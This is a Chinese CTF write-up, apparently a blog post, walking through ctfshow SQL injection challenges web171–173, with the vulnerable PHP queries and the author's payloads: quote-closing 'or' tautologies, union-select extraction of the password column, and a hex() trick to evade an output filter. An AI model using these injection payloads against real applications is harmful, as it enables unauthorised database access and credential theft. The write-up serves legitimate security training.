WEB ---- ctfshow ----- SQL注入

web171

在这里插入图片描述

看题目

在这里插入图片描述

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//拼接sql语句查找指定ID用户

我们能够控制的只有id的值,经分析,条件为username不为 flag。可是只有用户名为 flag 才能输出 正确的flag。

第一步先判断是否有注入点。

观察到存在单引号,所以要考虑引号闭合问题。

在这里插入图片描述
输入的内容被当作代码执行
在这里插入图片描述

逻辑词 or 只要任意一个条件为真就算成立

所以输入1' or '1=1,可以列出所有的记录(数据)

image-20220624161452596本来抱着测试注入点,不小心把 flag 测出来了,嘻嘻。

正规做一下这个题,要想绕过username!=flag ,仔细观察得到username!=flag与 id 使用逻辑运算符 and 相连,所以使得 id 与一个不存在的数相等,就可以绕过username!=flag

image-20220624162122807

web172

在这里插入图片描述
打开题目:
在这里插入图片描述
点击SELECT模块,无过滤注入1

在这里插入图片描述
咦,和上一道是一样的
在这里插入图片描述
试一试,嘿嘿

image-20220624174144710
哈哈哈,他提示flag不在这。

噢噢,原来是这个靶场
在这里插入图片描述查询语句
//拼接sql语句查找指定ID用户

$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

老规矩,测试注入点
在这里插入图片描述在这里插入图片描述已确定,存在注入点

返回逻辑

//检查结果是否有flag

 	if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

注意:select查询完成后,会返回结果,这时,返回逻辑代码开始阻止,若返回结果的字段名username的值为flag,则返回false
在这里插入图片描述确实没有返回username='flag'的值。
所以要绕过$row->username!=='flag',检查返回的字段名username,那么不让返回值中存在username就好了鸭!

使用union语句。try 一 try(试一试)

(注意:--+是MySQL语法中的注释)

999' union select id,password from ctfshow_user2 where username='flag' --+

999' union select id,password from ctfshow_user2 where id = '1' or 1=1--

这个是返回所有的数据记录
在这里插入图片描述

web173

在这里插入图片描述打开题目:
在这里插入图片描述查询语句

//拼接sql语句查找指定ID用户

$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag

if(!preg_match('/flag/i', json_encode($ret))){
  $ret['msg']='查询成功';
}

preg_match是正则表达式

preg_match_all(正则表达式、匹配字符串、匹配到的东西放入数组)

返回匹配到的次数。正则表达式格式///i是不区分大小写

json_encode函数,对变量进行 JSON 编码,该函数只对 UTF-8 编码的数据有效。

和web172的思路大致相同,这次是使用正则表达式。而且注意到,这次是输出 id,username,password 三个字段的记录。

在这里插入图片描述
在这里插入图片描述存在注入点,输入的数据会被当成代码执行。

所以对用户名username的值进行十六进制转换,这样就可以绕过正则表达式。

999' union select id,hex(username),password from ctfshow_user3 where username = 'flag

hex(),将其中的内容进行十六进制的转换。
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值